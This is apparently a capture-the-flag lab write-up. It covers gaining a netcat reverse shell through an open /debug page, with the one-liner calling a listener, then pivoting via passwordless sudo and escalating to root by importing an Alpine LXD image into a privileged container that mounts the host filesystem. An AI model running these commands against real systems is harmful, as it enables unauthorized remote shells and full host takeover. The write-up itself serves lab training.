I am able to obtain a reverse shell on the /debug page using a netcat listener and netcat on the box.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.2 443 >/tmp/fExploit
Globally open debug shell on the web server allows an unauthenticated attacker command execution on the host.

Privilege Escalation
Lateral Pivot
www-user has privileges to run passwordless sudo on /bin/bash as the user brexit. Upon lateral pivot to the brexit user, I ran the ID command to check for any specific group memberships.
One thing sticks out to me here, brexit is a member of the lxd group. That triggered a memory from another box I had done. Fortunately, I keep nondescript notes of various challenges I have done for future reference. This is why notes are important!

Key Differences
- This box does not have any preinstalled images
- We cannot
sudoto do thelxd-alpine-builderas shown in the HackTricks guide - We will have to download a pre-built image import manually
- This box is behind my firewall and does not have access to the Internet
Root Privilege Escalation
Download the Linux Container Image on Kali
Linux container image builds can be found here: https://us.lxd.images.canonical.com/images. I decided to go with the Alpine Linux image, since that's the one used in my notes.
Back on Kali, I recursively download the image files:
wget --no-parent -r https://us.lxd.images.canonical.com/images/alpine/3.15/amd64/default/20220720_13:00/
cd us.lxd.images.canonical.com/images/alpine/3.15/amd64/default/20220720_13:00/
find . -name '*html*' -delete
tar -cvf alpine.tar ./*Transfer to the Target
Start a web server to transfer the image to the target:
sudo python3 -m http.server 80On the target, download the alpine.tar file from Kali and extract:
wget http://kali.cyber.range/alpine.tar
mkdir alpine
tar -xvf alpine.tar -C alpine
cd alpineImport the Container Image Manually
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list
lxd init
lxc init alpine alpinect -c security.privileged=true
lxc config device add alpinect pwndisk disk source=/ path=/mnt/root recursive=true
lxc start alpinect
lxc exec alpinect /bin/sh
